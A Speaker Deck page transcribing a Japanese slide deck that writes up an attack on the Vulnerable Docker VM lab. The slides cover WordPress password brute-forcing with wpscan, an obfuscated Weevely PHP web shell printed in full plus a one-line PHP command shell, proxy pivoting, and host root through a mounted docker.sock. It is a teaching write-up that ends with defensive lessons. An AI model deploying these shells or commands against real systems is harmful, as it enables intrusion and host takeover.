Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
VulnerableDockerVM Writeup
Search
narupi
September 27, 2019
Technology
0
200
VulnerableDockerVM Writeup
WHESON_LTで使用した資料
narupi
September 27, 2019
Tweet
Share
More Decks by narupi
See All by narupi
Dockerコンテナからホストのrootを取る話
narupi
9
2.6k
Other Decks in Technology
See All in Technology
Enhancing SaaS Product Reliability and Release Velocity through Optimized Testing Approach
ropqa
1
240
NewSQLや分散データベースを支えるRaftの仕組み - 仕組みを理解して知る得意不得意
hacomono
PRO
3
190
開発生産性を組織全体の「生産性」へ! 部門間連携の壁を越える実践的ステップ
sudo5in5k
3
7.5k
スタートアップに選択肢を 〜生成AIを活用したセカンダリー事業への挑戦〜
nstock
0
260
Rethinking Incident Response: Context-Aware AI in Practice
rrreeeyyy
1
130
cdk initで生成されるあのファイル達は何なのか/cdk-init-generated-files
tomoki10
0
140
CDK Toolkit Libraryにおけるテストの考え方
smt7174
0
150
Lufthansa ®️ USA Contact Numbers: Complete 2025 Support Guide
lufthanahelpsupport
0
220
AWS CDK 開発を成功に導くトラブルシューティングガイド
wandora58
3
130
SREのためのeBPF活用ステップアップガイド
egmc
1
220
「クラウドコスト絶対削減」を支える技術—FinOpsを超えた徹底的なクラウドコスト削減の実践論
delta_tech
4
180
american aa airlines®️ USA Contact Numbers: Complete 2025 Support Guide
aaguide
0
390
Featured
See All Featured
Exploring the Power of Turbo Streams & Action Cable | RailsConf2023
kevinliebholz
34
5.9k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
126
53k
Speed Design
sergeychernyshev
32
1k
Site-Speed That Sticks
csswizardry
10
690
Gamification - CAS2011
davidbonilla
81
5.4k
A designer walks into a library…
pauljervisheath
207
24k
Making the Leap to Tech Lead
cromwellryan
134
9.4k
Visualization
eitanlees
146
16k
Reflections from 52 weeks, 52 projects
jeffersonlam
351
20k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
46
9.6k
A better future with KSS
kneath
238
17k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.4k
Transcript
Vulnerable Docker VMで学ぶ 脆弱なコンテナ 2019/09/27 narupi(@ei1528)
2 ※注意事項 • 得た知識/技術の悪用厳禁 • 検証は自己責任 • 管理下以外のサーバ/アプリケーションに対して攻撃を行わない • 初心者なので内容に間違いがある場合がある
3 目的 • 攻撃側を知ることで防御力を高める術を知る • セキュリティにおいて攻撃側が如何に有利かを知る • セキュリティに興味関心を持つ
4 動機 • 最近Dockerにムカついたので破壊したくなった
5 Vulnerable Docker VMについて • NotSoSecureが提供しているVM • ( https://www.notsosecure.com/vulnerable-docker-vm/ )
• CTF形式
6 環境構築 • VM(被害者端末)のネットワーク設定がデフォルトでブリッジなので念の 為ホストオンリーネットワークに変更する • Kali(攻撃者端末)もVMと同じホストオンリーネットワークに指定する 今回のIP Kali :
192.168.56.100 Docker : 192.168.56.102
7 起動
8 対象調査 • ポートスキャン(nmap)を実施して対象の環境を把握する • (-sV:各ポートを利用しているサービスのバージョンを検出 • -A :OSとバージョンを検出)
9 対象調査 • 8000番ポートでApache2.4.10が動いている • (詳細よりWordPress4.8.1が動いていてwp-adminが見える状態なのがわ かる)
10 入り口を探す • サービス自体の脆弱性を突く • (OpenSSH 6.6p1の脆弱性, Apache 2.4.10の脆弱性, WordPress4.8.1の
脆弱性 etc…) • サービスの設定不備を突く • (脆弱なアカウント, 脆弱なWordPressプラグイン, XSSの可能性,RCEの 可能性 etc...)
11 サービスの脆弱性を調査 • Vulnerable Docker VMが配布されたのが2017年なので、当時の最新バ ージョンが動いていると考えられる(しっかりパッチを当てている環境だ とすると、0day exploit以外刺さらない) •
VMの意図と異なるのでこっちは利用しない
12 設定不備を調査 • 脆弱性スキャンツールを利用 • (OWASP ZAP, Burp Suite, Nikto,
WPScan) • 対象がWordPressなのでWPScanを試す
13 WPScanについて • Rubyで動作するWordPressの脆弱性スキャナ • WordPressにインストールされているテーマやプラグインの列挙 • (脆弱性のあるものだけを列挙したりできる) • ユーザ情報の列挙
• ユーザ名を指定してブルートフォース攻撃
14 WPScanの実施 • プラグイン/テーマの脆弱性については、VM公開時の状況がわからない ので切り捨てた(本来なら侵入経路に成り得る) • ユーザ情報を列挙してみる • wpscan --url
http://192.168.56.102:8000 --disable-tls-checks -- enumerate u
15 パスワードを総当りしてみる • ランダムな文字列を生成して総当りするのは時間がかかるので、辞書攻 撃を試す • (辞書はseclistsの100k-most-used-passwords-NCSC.txtを利用) • wpscan --url
http://192.168.56.102:8000/ -P 100k-most-used-passwords- NCSC.txt -U bob
16 パスワードを総当りしてみる 少し待つとパスワードが特定できる
17 WebShellを設置する方法 • WordPressのテーマを利用して設置 ->テーマページのphpを編集してWebShellを埋め込む(404.phpなど) • WordPressにプラグインとして設置 ->オフラインならプラグインのアップロード オンラインならプラグインのインストール
18 WebShellとは • Webを介して実行するShell • 最も簡単なものはGETリクエストでコマンドを送信する形 → <?php system($_GET["cmd"]);?> •
高機能なものもある(今回はWeevelyを利用した) → Weevely https://github.com/epinna/weevely3
19 Weevelyについて • 難読化したPHPWebShellを生成するためセキュリティソフトに検知さ れにくい • Telnetのような形式の接続を提供してくれる
20 Weevelyが生成したWebShell <?php$Y=str_replace('Mk','','MkcMkreMkate_fMkuncMkMktion');$x='$k="bjfdd87j fdc7";$jfkh="jf20jf10d2jfjf6e2bc2";$kf="a8961cjf0ca876";$pjfjf="Le2wfMlG2QyjffY gqjfV";f';$m='evjfal(@gzjfuncompressjf(@jfxjf(@jfbajfse64_decode($m[1]),$kjf))); $ojf=@ob_jfget_contejfnts()jf;@';$L='jfunctiojfjfn x($t,$k){$c=stjfrjflejfn($k);$l=strlenjf($tjf);$ojf="";for($ijf=0;$i<jf$l;jf){fojfjfr(';$i='$j=0 ;($j<$c&&$jfi<$ljf);$j++,$ijf++jf){$ojf.=$t{jf$i}^$k{$j};}}rjfeturn jf$o;}ijfjff(@jfpreg_mat';$n='ch(jf"/$kh(.+jf)$kjffjf/",@filjfe_gejft_contents(jf"jfphp://i nput"jf),jf$m)==1){@ojfb_start();@jf';$f='jfob_endjf_clean();$rjf=@basejf64_encjf
odejf(@x(@jfgzcompresjfs(jf$jfo),$k));print(jf"$pjf$kh$r$kf");}';$w=str_replace('jf',' ',$x.$L.$i.$n.$m.$f);$Q=$Y('',$w);$Q();?>
21 コンテナに侵入 • .dockerenvが存在するかでコンテナ内であるかチェックする
22 コンテナ内でできること • curlやwgetが使える場合 -> 任意のバイナリが実行できる(nmapなど) • コンテナ間通信が許可されている場合 -> 他のコンテナの発見と侵入
• サービスの破壊,データの取得
23 DBの確認(Adminer設置) • PHPMyAdminのようなdb管理ツール(https://www.adminer.org/) • シングルファイルで動作するのでWordPressのテーマを編集することで 設置可能 • db認証情報はwp-configから抜き取れる
24 Adminer
25 他のコンテナを探す • nmapバイナリをKali側のWeb鯖に置いて,VM側からcurlでダウンロード する • Ip rでroute情報を表示 • Nmapで同一ネットワークを調査する
-> 172.18.0.1~4が利用されている -> 8022に不明なサービス (8000はWordPress)
26 コンテナ内部ネットワークへアクセスする • 任意のPHPがアップロードできる状況にあるのでreGeorgを利用して SOCKSプロキシを構成する(https://github.com/sensepost/reGeorg) • ProxychainsでreGeorgプロキシの情報を設定する • FoxyProxyでreGeorgプロキシの情報を設定する
27 Docker-SSH • 8022ポートのサービスをcurlで調査するとDocker-SSHが動いているこ とがわかる(https://github.com/jeroenpeeters/docker-ssh) • FoxyProxyを介してブラウザからアクセスする
28 ホストへ侵入する方法を探す • Docker-SSHコンテナへはパスワードなしでsshできるらしいので Proxychainsを利用してshellから作業をする(webだとセッションが切れ て大変だった) • /run以下を見るとdocker.sockが見えている -> docker.sockはデーモンプロセスと通信するためのソケット
-> docker.sockは特権で実行される(実質的にroot)
29 Docker in Docker(DinD)について • DinD対応イメージを利用してコンテナを作る • デフォルトの権限ではDockerデーモンを起動できないのでprivilegedオ プションを利用する必要がある(すべてのデバイスへのアクセスが可能に なる)
• 暗黙的にData Volumeが利用されコンテナとホストのリソースを共有す る • ホストとコンテナが階層化されるのでお互いに見えない
30 Docker outside of Docker(DooD)について • ホストのDocker.sockをマウントすることでDockerデーモンを共有する • ホスト側のDockerをコンテナ側から実行する •
コンテナからホスト側が見える • DinDのようにゴミが溜まることはない
31 コンテナからホストのrootを取る • ホストのdocker.sockをマウントしている場合、dockerコマンドはホス ト側で実行したものと同じ結果が得られる →コンテナ上でホスト側のルートディレクトリをマウントしたコンテナ を立ち上げる(DooD) →適当な名前でルートディレクトリをマウントしてchrootでルートディ レクトリをマウントしたフォルダに変える →実質的なホストrootの奪取
32 HACKED
33 VMの脆弱な点をまとめると • WordPressのセキュリティ(コンテナへの侵入) ->wp-adminが見える, 脆弱なパスワードの運用 • Docker-SSHの運用方法(ホストへの侵入) ->docker.sockへの書き込み権限がある
34 まとめ • WordPressには気をつけよう • Dockerは運用方法に気をつければ攻撃者がホストに到達するのを難しくで きる • Docker imageはしっかり中身を理解して利用する
->Docker-SSHはdocker.sockをマウントする必要がある ->悪意のあるimageに気をつける(reverse shellが埋め込まれてたりする)
35 参考文献 • https://oioki.me/2017/09/vulnerable-docker-vm/ • https://darksh3ll.info/index.php/18-write-up-vulnerable-docker-vm-by-notsosecure- com • https://rimuru.lunanet.gr.jp/notes/post/how-to-root-from-inside-container/ •
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html • https://qiita.com/sugiyasu-qr/items/85a1bedb6458d4573407 • https://blog.nijohando.jp/post/docker-in-docker-docker-outside-of-docker/ • https://qiita.com/toto1310/items/64d7db407d31fd802f9c